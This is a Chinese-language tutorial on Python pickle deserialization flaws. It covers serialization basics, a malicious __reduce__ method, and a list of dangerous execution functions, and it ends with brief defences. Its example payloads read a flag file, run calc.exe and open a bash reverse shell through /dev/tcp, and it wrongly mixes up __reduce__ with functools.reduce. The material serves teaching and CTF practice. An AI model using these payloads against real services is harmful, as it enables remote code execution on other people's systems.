1、什么是序列化
和php的序列化一样,是把string,字典,数组,类这些数据当作字节储存
2、pickle
pickle.dumps()和pickle.loads() 分别是序列化和反序列化
pickle.dump()和pickle.load是对文件的写入
import pickle
x= 'cccccc'
y = [1,2,3,4]
z = {'name':'hzx','pass':'zzz'}
print(pickle.dumps(x))
print(pickle.dumps(y))
print(pickle.dumps(z))
print(pickle.dumps(x))
print(pickle.loads(b'x80x03Xx06x00x00x00ccccccqx00.'))
b'x80x03Xx06x00x00x00ccccccqx00.'
b'x80x03]qx00(Kx01Kx02Kx03Kx04e.'
b'x80x03}qx00(Xx04x00x00x00nameqx01Xx03x00x00x00hzxqx02Xx04x00x00x00passqx03Xx03x00x00x00zzzqx04u.'
b'x80x03Xx06x00x00x00ccccccqx00.'
cccccc
{'name': 'hzx', 'pass': 'zzz'}
3、存入到文件
import pickle
if __name__ == '__main__':
filename = 'D://test'
x = 'this'
f = open(filename, 'wb')
pickle.dump(x,f)
f.close()
4、类的存储
import pickle
class test(object):
def __init__(self,user,password):
self.user=user
self.password=password
vstar=test('hzx',123456)
vstar_p=pickle.dumps(vstar)
print(vstar_p)
v=pickle.loads(vstar_p)
print(v.user)
5、漏洞本身
反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。
reduce()函数:将一个数据集合(链表,元组等)中的所有数据进行下列操作:
用传给 reduce 中的函数 function(有两个参数)先对集合中的第 1、2 个元素进行操作,得到的结果再与第三个数据用 function 函数运算,最后得到一个结果。
reduce() 函数语法:
reduce(function, iterable[, initializer])
function -- 函数,有两个参数
iterable -- 可迭代对象
initializer -- 可选,初始参数
这个函数和php中的__wakeup很类似。可以理解成是一样的;会在反序列化的时候执行;具体的内容请参考python的官方文档库;其实并不只是只有这一个函数;官方文档里也说过pickle是个不安全的模块,永远别去反序列化不信任的数据;
import pickle
class test(object):
def __init__(self,user,password):
self.user=user
self.password=password
def __reduce__(self):
return (eval, ("open('D://flag.txt','r').read()",)) //打开文件
#return (__import__('os').system, ('calc.exe',)) //命令执行
#return(os.system,("bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"))//反弹shell
vstar=test('hzx',123456)
vstar_p=pickle.dumps(vstar)
#print(vstar_p)
v=pickle.loads(vstar_p)
print(v)
#flag{this_is_flag}
常用的命令执行函数、代码执行函数
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen
6、防御方法
1、用更高级的接口__getnewargs()、getstate()、setstate()
等代替reduce()
魔术方法;
2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。